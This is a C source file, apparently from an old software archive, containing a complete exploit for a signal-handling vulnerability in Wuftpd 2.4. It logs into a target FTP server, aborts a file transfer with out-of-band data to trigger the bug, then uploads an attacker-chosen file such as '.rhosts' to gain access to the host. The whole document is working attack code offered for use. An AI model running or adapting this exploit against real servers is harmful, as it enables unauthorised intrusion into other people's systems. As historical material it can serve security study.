home *** CD-ROM | disk | FTP | other *** search
- /*
- * Wuftpd 2.4 exploit for signal vulnerability (see CERT advisory)
- * Shok (Matt Conover), shok@dataforce.net
- */
-
- #include <stdio.h>
- #include <errno.h>
- #include <netdb.h>
- #include <stdlib.h>
- #include <string.h>
- #include <getopt.h>
- #include <signal.h>
- #include <sys/wait.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
-
- #define ERROR -1
- #define FTPPORT 21
- #define BACKLOG 1 /* Only the server should be able to connect */
- #define NORMAL 0
- #define OOB 1
- #define TIMEOUT 25 /* How long to wait for server to connect to send */
- /* us a file. */
-
- struct sockaddr_in their_addr;
- int sockfd, sockfd1, newfd;
- char buf[1024];
- char *file = NULL, file1[256];
- u_long p1, p2;
-
- void command(FILE *fd, char *command, int sleeplen, int sleeplen1, int flags);
- void receive(FILE *fd, int sleeplen);
- void sighandler(int signum);
- void usage(char **argv);
- void portstuff(int sending);
-
- /* Get rid of those yucky implicit declarations when using -Wall */
- unsigned short int getport1();
- unsigned int alarm();
- unsigned int sleep();
- char *inet_ntoa();
- char *getpass();
- void getport();
- int close();
- pid_t fork();
-
- void main(int argc, char **argv)
- {
- struct hostent *he;
-
- char *user = NULL, *host = NULL, *port = NULL, *pass = NULL;
-
- char user1[20], port1[5], host1[256];
- char cmd[64];
-
- FILE *fd;
-
- int status;
- int opt;
-
-
- printf("Wuftpd 2.4 signal exploit.\n\n");
- printf("shok@dataforce.net\n");
-
- /* Get options */
- while((opt = getopt (argc, argv, "p:u:f:h:")) != EOF)
- switch (opt)
- {
- case 'p':
- port = optarg;
- break;
-
- case 'u':
- user = optarg;
- break;
-
- case 'f':
- file = optarg;
- break;
-
- case 'h':
- host = optarg;
- break;
-
- case '?':
- usage(argv);
-
- default:
- break;
- }
-
- /* ------------------------ */
-
- /* Things related to options */
- if (argc < 3) usage(argv);
-
- if (host != NULL) printf("host is %s\n", host);
- else {
- bzero(host1, sizeof(host1));
- printf("Enter host to run sploit against: ");
- scanf("%256s", host1);
- host = host1;
- }
-
- if (user == NULL) {
- bzero(user1, sizeof(user1));
- printf("Enter ftp username: ");
- scanf("%20s", user1);
- user = user1;
- }
-
- pass = getpass("Password (of ftp user): ");
-
- if (file == NULL) {
- printf("Enter file to receive (needed): ");
- scanf("%256s", file1);
- file = file1;
- }
-
- if (port == NULL) {
- sprintf(port1, "21");
- printf("No port specified, using %s as default port.\n", port1);
- port = port1;
- } else
- printf("port is %s\n", port);
-
-
- if ((he = gethostbyname(host)) == NULL) {
- herror("gethostbyname");
- exit(ERROR);
- }
-
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
- perror("socket");
- exit(ERROR);
- }
-
- /* Initialize sockaddr_in structure */
- their_addr.sin_family = AF_INET;
- if (argc == 2) their_addr.sin_port = htons(FTPPORT);
- else their_addr.sin_port = htons(atoi(port));
- their_addr.sin_addr = *((struct in_addr *)he->h_addr);
- bzero(&(their_addr.sin_zero), 8);
- /* -------------------------------- */
-
- /* Connect to host */
- printf("Connecting to %s (%s).\n\n",
- he->h_name, (char *)inet_ntoa(their_addr.sin_addr));
-
- if (connect(sockfd, (struct sockaddr *)&their_addr,
- sizeof(struct sockaddr)) == ERROR) {
- perror("connect");
- exit(ERROR);
- }
- /* --------------- */
-
- /* Associate a FILE * with a socket fd */
- if ((fd = fdopen(sockfd, "w+")) == NULL) {
- perror("fdopen");
- close(sockfd);
- exit(ERROR);
- }
-
-
- /* Get welcome message */
- receive(fd, 2);
-
- /* Send USER */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "USER %s\n", user);
- command(fd, cmd, 2, 2, NORMAL);
-
- /* Send PASS */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "PASS %s\n", pass);
- command(fd, cmd, 2, 2, NORMAL);
-
- /* We are now logged in */
-
- /* Do everything needed to send a PORT and make a data transfer */
- portstuff(0);
-
- /* We are now waiting for server on user data transfer port */
- /* Send PORT */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
- command(fd, cmd, 2, 2, NORMAL);
-
- /* Send RETR */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "RETR %s\n", file);
- command(fd, cmd, 2, 0, NORMAL);
-
- /* Wait to get 200 characters of the transfer then break, */
- /* causing SIGPIPE. */
- /* ------------------------------------------------------ */
- wait((int *)&status);
-
- if (WIFEXITED(status) != 0)
- if(WEXITSTATUS(status) == ERROR) {
- fprintf(stderr, "The child exitted because of an error.\n");
- fprintf(stderr, "Continuing... but may not work right.\n");
- }
- /* ------------------------------------------------------ */
-
- /* Send ABOR (set it up to send OOB) */
- command(fd, "ABOR\n", 2, 5, OOB);
-
-
- /* Do the neccasary things to upload the file */
- /* ------------------------------------------ */
-
- /* Get file name to upload */
- printf("File to upload (.rhosts, etc.): ");
- scanf("%256s", file1);
- file = file1;
-
- /* Do everything needed to send a PORT and make a data transfer */
- portstuff(1);
-
- /* We are now waiting for server on user data transfer port */
- /* Send PORT */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2);
- command(fd, cmd, 2, 2, NORMAL);
-
- /* Send STOR */
- bzero(cmd, sizeof(cmd));
- sprintf(cmd, "STOR %s\n", file);
- command(fd, cmd, 2, 2, NORMAL);
-
- /* Wait for child to send .rhosts before moving on. */
- /* ------------------------------------------------------ */
- wait((int *)&status);
-
- if (WIFEXITED(status) != 0)
- if(WEXITSTATUS(status) == ERROR) {
- fprintf(stderr, "The child exitted because of an error.\n");
- fprintf(stderr, "Continuing... but may not work right.\n");
- }
- /* ------------------------------------------------------ */
-
- /* Send QUIT */
- command(fd, "QUIT\n", 3, 5, NORMAL);
-
- close(sockfd);
- fclose(fd);
- }
-
- void usage(char **argv)
- {
- fprintf(stderr, "Usage: %s [-h host] [-p port] [-u user] [-f file]\n", argv[0]);
- fprintf(stderr, "host is the host to sploit\n");
- fprintf(stderr, "user is the ftp user name (you will be asked for a password)\n");
- fprintf(stderr, "file is the file to download (you'll see)\n\n");
- exit(ERROR);
- }
-
- void command(fd, command, sleeplen, sleeplen1, flags)
- FILE *fd;
- char *command;
- int sleeplen;
- int sleeplen1;
- int flags;
- {
- /* Send command to ftpd */
-
- sleep(sleeplen);
- bzero(buf, sizeof(buf));
-
- if (flags == OOB) printf("Sending (as OOB data): %s", command);
- else printf("Sending: %s", command);
-
- if (flags != OOB) fprintf(fd, command);
- else send(sockfd, "ABOR\n", 5, MSG_OOB);
-
- receive(fd, sleeplen1);
-
- }
-
- void receive(FILE *fd, int sleeplen)
- {
- sleep(sleeplen);
-
- bzero(buf, sizeof(buf));
- fgets(buf, sizeof(buf) - 1, fd);
-
- printf("Received: %s", buf);
- putchar('\n');
-
- }
-
- void sighandler(int signum)
- {
- close(sockfd1);
- close(sockfd);
-
- fprintf(stderr, "The client was for the server to connect for %d "
- "seconds, and so exitting the child (we'll let the "
- "rest finish anyway).\n", TIMEOUT);
- exit(ERROR);
- }
-
-
-
- void portstuff(int sending) /* sending = 0 means receiving, sending = 1 */
- /* means we're sending */
- {
- int ssize;
- int newfd;
- FILE *fd, *fdd;
- int on = 1, val;
- struct sockaddr_in our_addr, their_addr;
-
- /* Do all the ugly stuff to receive the data */
- /* ----------------------------------------- */
-
- /* Get the local address and port number */
- ssize = sizeof(struct sockaddr);
- if (getsockname(sockfd, (struct sockaddr *)&our_addr,
- (int *)&ssize) == ERROR) {
- perror("getsockname");
- close(sockfd);
- fclose(fd);
- exit(ERROR);
- }
- /* ------------------------------------- */
-
- /* Setup everything for user data transfer port */
- if ((sockfd1 = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
- perror("socket");
- close(sockfd);
- fclose(fd);
- exit(ERROR);
- }
-
- val = setsockopt(sockfd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
- sizeof(on));
-
- if (val == ERROR) {
- perror("setsockopt");
- close(sockfd);
- close(sockfd1);
- exit(ERROR);
- }
-
- our_addr.sin_port += 2; /* To use the next available port for receiving */
- /* data. */
-
-
- while(1) { /* Little hack to be sure we bind to something */
- if (bind(sockfd1, (struct sockaddr *)&our_addr,
- sizeof(struct sockaddr)) == ERROR) {
- perror("bind");
- our_addr.sin_port++;
- continue;
- } else
- break;
- }
-
-
- /* Send port number to get p1 and p2, send with PORT */
- getport((u_long *)&p1, (u_long *)&p2, htons(our_addr.sin_port));
- printf("User data transfer port is: %u\n", getport1(p1, p2));
-
-
- if (listen(sockfd1, BACKLOG) == ERROR) {
- perror("listen");
- close(sockfd1);
- close(sockfd);
- exit(ERROR);
- }
- alarm(0);
- signal(SIGALRM, SIG_IGN);
-
- ssize = sizeof(struct sockaddr_in);
-
- if (!fork()) {
- /* char path[256]; */
- register int dork = 0;
-
- /* Set sockfd1 into non block mode */
- signal (SIGALRM, sighandler);
-
- /* Wait for no more than 20 seconds for server to connect */
- /* after that give up (for example when you try to get a */
- /* file that isn't there...this will wait forever. */
- alarm(TIMEOUT);
-
- if ((newfd = accept(sockfd1, (struct sockaddr *)&their_addr,
- &ssize)) == ERROR) {
- perror("accept");
- close(sockfd);
- close(sockfd1);
- exit(ERROR);
- }
-
- alarm(0);
-
- printf("We got our connection from: %s, port: %d\n",
- (char *)inet_ntoa(their_addr.sin_addr.s_addr),
- htons(their_addr.sin_port));
-
- /* Be sure we are able to write data to a file */
- /* bzero(path, sizeof(path));
- sprintf(path, "/tmp/test/ftp/filewegot");
- */
- if (sending != 1) {
- if ((fdd = fopen("/tmp/test/ftp/filewegot", "w")) == NULL) {
- perror("fopen");
- }
- } else {
- if ((fdd = fopen(file, "r")) == NULL) {
- perror("open");
- fprintf(stderr, "Continuing anyway...but there may be problems.\n");
- }
- }
-
- if (sending != 1) {
- if ((fd = fdopen(newfd, "r")) == NULL) {
- perror("fdopen");
- /* close(sockfd);
- close(sockfd1);
- close(newfd);
- fclose(fd);
- fclose(fdd);
- exit(ERROR);
- */
- }
- } else {
- if ((fd = fdopen(newfd, "w")) == NULL) {
- perror("fdopen");
- /* close(sockfd);
- close(sockfd1);
- close(newfd);
- fclose(fd);
- fclose(fdd);
- exit(ERROR);
- */
- }
- }
-
- if (sending != 1) {
- while(dork < 200) {
- char ch;
-
- if ((ch = fgetc(fd)) != EOF)
- fputc(ch, fdd);
- else {
- fclose(fdd);
- fclose(fd);
- break;
- }
-
- dork++;
- }
-
- printf("\nNow interupting data connection (file transfer).\n");
- fclose(fd);
- fclose(fdd);
- close(newfd);
- close(sockfd1);
- } else {
- char ch;
-
- printf("\nNow sending the file %s to site.\n", file);
-
- while (1) {
- if ((ch = getc(fdd)) == EOF) break;
- fputc(ch, fd);
- }
-
- fclose(fd);
- fclose(fdd);
- close(newfd);
- close(sockfd1);
- }
-
- exit(0);
- }
- }
-